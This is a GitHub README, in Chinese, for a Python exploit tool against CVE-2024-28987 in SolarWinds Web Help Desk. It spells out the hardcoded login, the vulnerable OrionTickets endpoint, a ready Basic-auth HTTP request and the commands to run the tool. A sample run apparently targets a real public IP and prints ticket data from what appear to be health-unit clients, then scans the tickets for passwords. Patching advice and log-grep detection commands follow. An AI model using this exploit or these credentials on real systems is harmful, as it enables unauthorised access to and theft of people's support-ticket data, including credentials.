Darabium/CVE-2024-28987

GitHub: Darabium/CVE-2024-28987

针对 SolarWinds Web Help Desk 硬编码凭据漏洞(CVE-2024-28987)的 Python 漏洞利用工具,支持自动检测、工单数据提取和敏感信息扫描。

Stars: 0 | Forks: 0

# CVE-2024-28987 - SolarWinds Web Help Desk 硬编码凭据漏洞利用 [![Python](https://img.shields.io/badge/Python-3.6+-blue.svg)](https://www.python.org/downloads/) [![License](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE) [![CVE](https://img.shields.io/badge/CVE-2024--28987-red.svg)](https://nvd.nist.gov/vuln/detail/CVE-2024-28987) [![CVSS](https://img.shields.io/badge/CVSS-9.1-critical.svg)](https://nvd.nist.gov/vuln/detail/CVE-2024-28987) ## 📋 概述 **CVE-2024-28987** 是 SolarWinds Web Help Desk (WHD) 中的一个严重漏洞,允许远程攻击者使用**硬编码凭据**访问敏感的工单信息。该漏洞的 **CVSS 评分为 9.1(严重)**,且目前已在野外被积极利用。 ### 漏洞详情 | 属性 | 值 | |-----------|-------| | **CVE ID** | CVE-2024-28987 | | **CVSS Score** | 9.1(严重) | | **CWE** | CWE-798 (硬编码凭据) | | **受影响的产品** | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 | | **已修复版本** | 12.8.3 Hotfix 2 | | **漏洞利用** | 已在野外被积极利用 | | **加入 CISA KEV 时间** | 2024年10月15日 | ### 影响 未经身份验证的攻击者可以: - 访问所有包含敏感信息的支持工单 - 查看临时密码、重置请求和共享服务凭据 - 通过 `/OrionTickets` endpoint 对工单执行 CRUD 操作 - 潜在地渗透到网络中的其他系统 ## 🔧 功能 - ✅ **自动漏洞检测** - 测试是否存在硬编码凭据 - ✅ **工单提取** - 从易受攻击的系统中检索所有工单 - ✅ **敏感数据扫描** - 识别密码、凭据、PII(个人身份信息)和医疗数据 - ✅ **多种输出格式** - 针对大型数据集提供 JSON 和 JSONL 格式 - ✅ **交互式预览** - 在提取前展示前 3 个工单 - ✅ **零依赖** - 仅使用 Python 标准库 - ✅ **彩色输出** - 使用 ANSI 颜色增强可读性 - ✅ **错误处理** - 优雅地处理连接错误 ## 🚀 快速开始 ### 前置条件 - Python 3.6 或更高版本 - 不需要任何外部依赖! ### 安装说明 ``` # 克隆 repository git clone https://github.com/Darabium/CVE-2024-28987.git cd CVE-2024-28987 # 使 script 可执行 Usage bash # 以目标 URL 作为 argument python3 cve-2024-28987.py http://target-ip:port # 交互模式(将提示输入目标) python3 cve-2024-28987.py # 使用 vulnerable target 的示例 python3 cve-2024-28987.py http://192.168.1.100:8098 📊 Output Example bash $ python3 cve-2024-28987.py http://138.94.193.65:8098 ╔══════════════════════════════════════════════════════════════════╗ ║ ║ ║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║ ║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║ ║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║ ║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║ ║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║ ║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║ ║ ║ ║ CVE-2024-28987 - SolarWinds Web Help Desk ║ ║ Hardcoded Credentials Vulnerability ║ ║ ║ ╠══════════════════════════════════════════════════════════════════╣ ║ GitHub: https://github.com/Darabium ║ ╚══════════════════════════════════════════════════════════════════╝ [*] Checking http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ [+] Target is VULNERABLE! [+] Found 42 tickets ====================================================================== [📋] Ticket Preview (First 3 tickets) ====================================================================== Ticket #1 ├── ID: 5690 ├── Client: UBS Portao Vermelho ├── Status: Open ├── Detail: BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO Ticket #2 ├── ID: 5691 ├── Client: UBS Centro ├── Status: In Progress ├── Detail: ALCOOL 70% - Solicitação de material de limpeza ====================================================================== [🔐] Scanning for Sensitive Data ====================================================================== [!] Potential PASSWORD data found in ticket #5723 └── detail: Please reset my password for system access... [?] Do you want to extract ALL tickets to file? [y/N]: y [*] Saving to: 138_94_193_65_8098_tickets.json [✓] Successfully saved 138_94_193_65_8098_tickets.json [*] File size: 42,847 bytes [*] Total tickets: 42 [*] Done! ``` GitHub: https://github.com/Darabium 📁 文件结构 CVE-2024-28987/ ├── cve-2024-28987.py # 主漏洞利用脚本 ├── README.md # 本文件 └── LICENSE # MIT License 输出文件 当您提取工单时,将创建以下文件: # 标准 JSON 格式(始终创建) 138_94_193_65_8098_tickets.json # JSONL 格式(如果工单数 > 100 则创建) ***_tickets.jsonl 🔍 技术细节 硬编码凭据 python USERNAME = "helpdeskIntegrationUser" PASSWORD = "dev-C4F8025E7" 受影响的 Endpoint text /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP 请求示例 http GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1 Host: vulnerable-target:8098 Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw== Content-Type: application/x-www-form-urlencoded 🛡️ 修复建议 立即采取的措施 立即更新至 SolarWinds Web Help Desk 12.8.3 Hotfix 2 或更高版本 检查日志中对 `/OrionTickets` endpoint 的可疑访问 监控对工单数据的未经授权访问 重置可能在工单中暴露的所有凭据 审查所有支持工单以排查潜在的数据泄露 检测命令 bash # 检查日志中的漏洞利用尝试 grep -i "OrionTickets" /var/log/webhelpdesk/access.log # 检查未经授权的访问模式 grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log # 检查当前版本 cat /opt/WebHelpDesk/version.txt 🚨 CISA KEV 公告 此漏洞已被加入 CISA 的已知被利用漏洞(KEV)目录。各组织必须在规定期限内完成补丁修复。 加入日期:2024年10月15日 要求采取的行动:按照供应商说明应用更新 截止日期:2024年11月5日(21天) 📚 参考 NVD CVE-2024-28987 CISA KEV 目录 SolarWinds 安全公告 PEP 668 - 外部环境管理 📝 许可证 该项目基于 MIT License 授权 - 详情请参阅 LICENSE 文件。 ⚡ 作者 Darabium - 初始工作 - GitHub ⚠️ 重要提示 此工具仅供安全研究和教育目的使用 请勿在您不拥有或未获得明确测试许可的系统上使用 作者不对任何滥用此工具的行为负责 始终遵循负责任的漏洞披露实践 请遵守您所在司法管辖区的隐私和数据保护法律 🌟 Star 历史 如果您觉得此工具 useful,请在 GitHub 上给它点个 ⭐! 📞 支持 在 GitHub 上提交 issue 以报告 bug 如有安全问题,请直接通过 GitHub 联系 怀着 ❤️ 为安全社区打造
标签:Python, SolarWinds, StruQ, 信息泄露, 数据泄露, 无后门, 逆向工具